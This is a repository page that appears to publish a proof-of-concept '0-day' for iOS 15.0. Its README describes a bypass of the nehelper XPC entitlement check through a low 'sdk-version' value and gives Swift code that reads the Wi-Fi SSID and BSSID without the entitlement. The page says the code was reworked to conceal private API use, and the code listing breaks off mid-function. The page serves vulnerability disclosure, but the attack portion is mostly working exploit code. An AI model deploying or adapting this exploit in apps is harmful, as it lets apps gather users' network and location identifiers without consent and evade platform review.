You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
illusionofchaos 668c3509fd
1 year ago
Nehelper-Wifi Conceal private API usage 1 year ago
Nehelper-Wifi.xcodeproj Conceal private API usage 1 year ago
.gitignore Initial commit 1 year ago Update 1 year ago

Nehelper Wifi Info 0-day (iOS 15.0)

I've updated this code to avoid using Private API directly. Read more in my blog post. However, that means that now this code is iOS version-specific and possibly device model-specific. So if it doesn't work on your device, recalculate and update the offsets in c.c file. The original code can be found in direct branch.

XPC endpoint accepts user-supplied parameter sdk-version, and if its value is less than or equal to 524288, entiltlement check is skipped. Ths makes it possible for any qualifying app (e.g. posessing location access authorization) to gain access to Wifi information without the required entitlement. This happens in -[NEHelperWiFiInfoManager checkIfEntitled:] in /usr/libexec/nehelper.

func wifi_info() -> String? {
    let connection = xpc_connection_create_mach_service("", nil, 2)
    xpc_connection_set_event_handler(connection, { _ in })
    let xdict = xpc_dictionary_create(nil, nil, 0)
    xpc_dictionary_set_uint64(xdict, "delegate-class-id", 10)
    xpc_dictionary_set_uint64(xdict, "sdk-version", 1) // may be omitted entirely
    xpc_dictionary_set_string(xdict, "interface-name", "en0")
    let reply = xpc_connection_send_message_with_reply_sync(connection, xdict)
    if let result = xpc_dictionary_get_value(reply, "result-data") {
        let ssid = String(cString: xpc_dictionary_get_string(result, "SSID"))
        let bssid = String(cString: xpc_dictionary_get_string(result, "BSSID"))
        return "SSID: \(ssid)\nBSSID: \(bssid)"
    } else {
        return nil